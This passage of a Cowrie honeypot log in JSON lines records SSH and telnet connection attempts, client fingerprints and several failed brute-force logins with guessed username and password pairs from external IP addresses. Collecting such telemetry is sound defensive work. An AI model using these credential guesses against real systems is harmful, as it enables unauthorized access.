stp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:54.163855Z","src_ip":"116.110.15.216","session":"554019dedd4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:55.609764Z","src_ip":"116.110.15.216","session":"554019dedd4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56916,"dst_ip":"10.17.0.5","dst_port":23,"session":"0245a87d3fe7","protocol":"telnet","message":"New connection: 192.119.13.58:56916 (10.17.0.5:23) [session: 0245a87d3fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:55.808823Z"}
{"eventid":"cowrie.session.closed","duration":33.02793216705322,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:56.027063Z","src_ip":"192.119.13.58","session":"6fb9069ea13e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.341397762298584,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:57.305806Z","src_ip":"192.119.13.58","session":"3fd1234c7e2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:57.372322Z","src_ip":"116.110.15.216","session":"554019dedd4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.29639005661011,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:57.712189Z","src_ip":"192.119.13.58","session":"415c923c24df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.01404881477356,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:41:58.245756Z","src_ip":"192.119.13.58","session":"7d408dc8be08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50074,"dst_ip":"10.17.0.5","dst_port":23,"session":"e846d853b1a9","protocol":"telnet","message":"New connection: 192.119.13.58:50074 (10.17.0.5:23) [session: e846d853b1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:04.214038Z"}
{"eventid":"cowrie.session.closed","duration":40.64656114578247,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:05.727847Z","src_ip":"192.119.13.58","session":"d3e7d292eb70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48044,"dst_ip":"10.17.0.5","dst_port":23,"session":"9308cbe66f92","protocol":"telnet","message":"New connection: 192.119.13.58:48044 (10.17.0.5:23) [session: 9308cbe66f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:09.934232Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":65126,"dst_ip":"10.17.0.5","dst_port":22,"session":"3451b0e0b501","protocol":"ssh","message":"New connection: 158.178.141.16:65126 (10.17.0.5:22) [session: 3451b0e0b501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:13.184853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:13.193515Z","src_ip":"158.178.141.16","session":"3451b0e0b501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35172,"dst_ip":"10.17.0.5","dst_port":23,"session":"721453a1b06f","protocol":"telnet","message":"New connection: 192.119.13.58:35172 (10.17.0.5:23) [session: 721453a1b06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:13.396617Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:13.402531Z","src_ip":"158.178.141.16","session":"3451b0e0b501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0147","message":"login attempt [root/0147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:14.268686Z","src_ip":"158.178.141.16","session":"3451b0e0b501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:15.481347Z","src_ip":"158.178.141.16","session":"3451b0e0b501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49230,"dst_ip":"10.17.0.5","dst_port":23,"session":"69dc07180005","protocol":"telnet","message":"New connection: 192.119.13.58:49230 (10.17.0.5:23) [session: 69dc07180005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:16.397984Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":59160,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bb8d1d4ae9e","protocol":"ssh","message":"New connection: 81.9.145.130:59160 (10.17.0.5:22) [session: 1bb8d1d4ae9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:17.376863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:17.381474Z","src_ip":"81.9.145.130","session":"1bb8d1d4ae9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:17.497228Z","src_ip":"81.9.145.130","session":"1bb8d1d4ae9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.71022152900696,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:17.571666Z","src_ip":"192.119.13.58","session":"01f47e51c2b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.94599413871765,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:17.715116Z","src_ip":"192.119.13.58","session":"e16170247cab","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd!","message":"login attempt [root/1234abcd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:17.992868Z","src_ip":"81.9.145.130","session":"1bb8d1d4ae9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:19.111909Z","src_ip":"81.9.145.130","session":"1bb8d1d4ae9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.952142000198364,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:21.174002Z","src_ip":"192.119.13.58","session":"94003f643c1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":34722,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d92ec04bb07","protocol":"ssh","message":"New connection: 43.134.175.218:34722 (10.17.0.5:22) [session: 9d92ec04bb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:21.722113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:21.727029Z","src_ip":"43.134.175.218","session":"9d92ec04bb07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:21.965358Z","src_ip":"43.134.175.218","session":"9d92ec04bb07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nizar","message":"login attempt [root/nizar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:22.951162Z","src_ip":"43.134.175.218","session":"9d92ec04bb07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:24.195566Z","src_ip":"43.134.175.218","session":"9d92ec04bb07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48560,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a9f27e684bf","protocol":"telnet","message":"New connection: 192.119.13.58:48560 (10.17.0.5:23) [session: 7a9f27e684bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:28.277076Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56008,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3892269b63f","protocol":"telnet","message":"New connection: 192.119.13.58:56008 (10.17.0.5:23) [session: a3892269b63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:29.541763Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60862,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c89c44197d5","protocol":"telnet","message":"New connection: 192.119.13.58:60862 (10.17.0.5:23) [session: 6c89c44197d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:30.661293Z"}
{"eventid":"cowrie.session.closed","duration":45.7143132686615,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:31.404594Z","src_ip":"192.119.13.58","session":"df39c0201308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.85044598579407,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:31.659170Z","src_ip":"192.119.13.58","session":"0245a87d3fe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.43738007545471,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:31.715036Z","src_ip":"192.119.13.58","session":"ed6993f141da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39028,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eeb38847d95","protocol":"telnet","message":"New connection: 192.119.13.58:39028 (10.17.0.5:23) [session: 3eeb38847d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:33.076132Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":45134,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1fcbc6bce03","protocol":"ssh","message":"New connection: 186.68.83.105:45134 (10.17.0.5:22) [session: b1fcbc6bce03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:34.436707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:34.441755Z","src_ip":"186.68.83.105","session":"b1fcbc6bce03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:34.532576Z","src_ip":"186.68.83.105","session":"b1fcbc6bce03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panadepula","message":"login attempt [root/panadepula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:34.933482Z","src_ip":"186.68.83.105","session":"b1fcbc6bce03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.77980089187622,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:35.433456Z","src_ip":"192.119.13.58","session":"c849a8f5792f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.13351774215698,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:35.696641Z","src_ip":"192.119.13.58","session":"446dae9e0f35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:36.026565Z","src_ip":"186.68.83.105","session":"b1fcbc6bce03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.73612093925476,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:36.625727Z","src_ip":"192.119.13.58","session":"19ccdb7c0731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.165697813034058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:40.099774Z","src_ip":"192.119.13.58","session":"9308cbe66f92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.58222007751465,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:44.328914Z","src_ip":"192.119.13.58","session":"f84d1c2435b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":61130,"dst_ip":"10.17.0.5","dst_port":22,"session":"7644390b5c8f","protocol":"ssh","message":"New connection: 45.66.52.41:61130 (10.17.0.5:22) [session: 7644390b5c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:46.533930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:46.538546Z","src_ip":"45.66.52.41","session":"7644390b5c8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:46.719546Z","src_ip":"45.66.52.41","session":"7644390b5c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.55130314826965,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:46.765247Z","src_ip":"192.119.13.58","session":"e846d853b1a9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:47.615882Z","src_ip":"45.66.52.41","session":"7644390b5c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:48.800454Z","src_ip":"45.66.52.41","session":"7644390b5c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42368,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd30e21048d","protocol":"telnet","message":"New connection: 192.119.13.58:42368 (10.17.0.5:23) [session: 8bd30e21048d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:51.569254Z"}
{"eventid":"cowrie.session.closed","duration":0.007557392120361328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:51.576669Z","src_ip":"192.119.13.58","session":"8bd30e21048d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":36056,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e0ab54981b","protocol":"ssh","message":"New connection: 103.27.238.114:36056 (10.17.0.5:22) [session: f2e0ab54981b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:53.046440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:53.050968Z","src_ip":"103.27.238.114","session":"f2e0ab54981b","protocol":"ssh"}
